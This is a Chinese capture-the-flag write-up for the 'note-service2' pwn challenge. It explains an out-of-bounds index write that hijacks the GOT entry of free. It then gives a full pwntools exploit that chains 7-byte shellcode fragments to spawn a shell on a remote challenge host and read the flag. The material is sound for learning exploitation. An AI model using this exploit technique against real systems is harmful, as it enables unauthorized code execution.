先查保护,有可写段:
这里有个问题,在ubuntu20的系统下,这个rwx段是栈,也就是可以在栈里直接写代码。实际上这题是在早些版本上运行的,堆也能执行。
ubuntu:~/xctf/016_ciscn-2018-Quals-note-service2$ checksec pwn
[*] '/home/xctf/016_ciscn-2018-Quals-note-service2/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
只有建和删两个函数。且仅可写7个字符。另外对索引没有限制,可以向前溢出写到got表。
思路很简单,就是把堆写到got.free这样got表里free就指向堆,在堆里写shellcode,当free时就能执行得到shell了
问题是只能写7个字符,所以每写一点就得加个jmp跳到下个块。
中转指令是jmp $+n 这里n指不包含中转指令本身从前一段代码结束到下一断代码开始的字节数。
shellcode:由于free里rdi的指针指向一个带/bin/sh地块,所以这里不用管理rdi的事,只需要rsi=rdx=0,rax=0x3b然后调用syscall就行了。
完整exp:
from pwn import *
elf = ELF('./pwn')
context.arch = 'amd64'
def connect(local=1):
global p
if local == 1:
p = process('./pwn')
else:
p = remote('111.200.241.244', 58863)
libc_elf = ELF('/home/shi/buuctf/buuoj_2.27_amd64/libc-2.27.so')
one = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a398,0x10a38c]
libc_start_main_ret = 0x21b97
context(arch='amd64', log_level='debug')
menu = b"your choice>> "
def add(idx, size, msg):
p.sendlineafter(menu, b'1')
p.sendlineafter(b"index:", str(idx).encode())
p.sendlineafter(b"size:", str(size).encode())
p.sendlineafter(b"content:", msg)
def free(idx):
p.sendlineafter(menu, b'4')
p.sendlineafter(b"index:", str(idx).encode())
def pwn():
add(0, 8, b'/bin/sh') #先写个带sh的块,将来释放它
pay1 = asm('xor rsi,rsi')
pay2 = asm(f'jmp $+{0x20 - len(pay1)}') #rsi=0
add(-17, 8, pay1+pay2) #got.free
pay1 = asm('xor rdx,rdx')
pay2 = asm(f'jmp $+{0x20 - len(pay1)}') #rdx=0
add(1, 8, pay1+pay2)
pay1 = asm('push 0x3b;pop rax')
pay2 = asm(f'jmp $+{0x20 - len(pay1)}') #rax=0x3b
add(2, 8, pay1+pay2)
add(3, 8, asm('syscall')) #syscall
free(0)
p.sendline(b'cat /flag')
p.interactive()
connect(0)
pwn()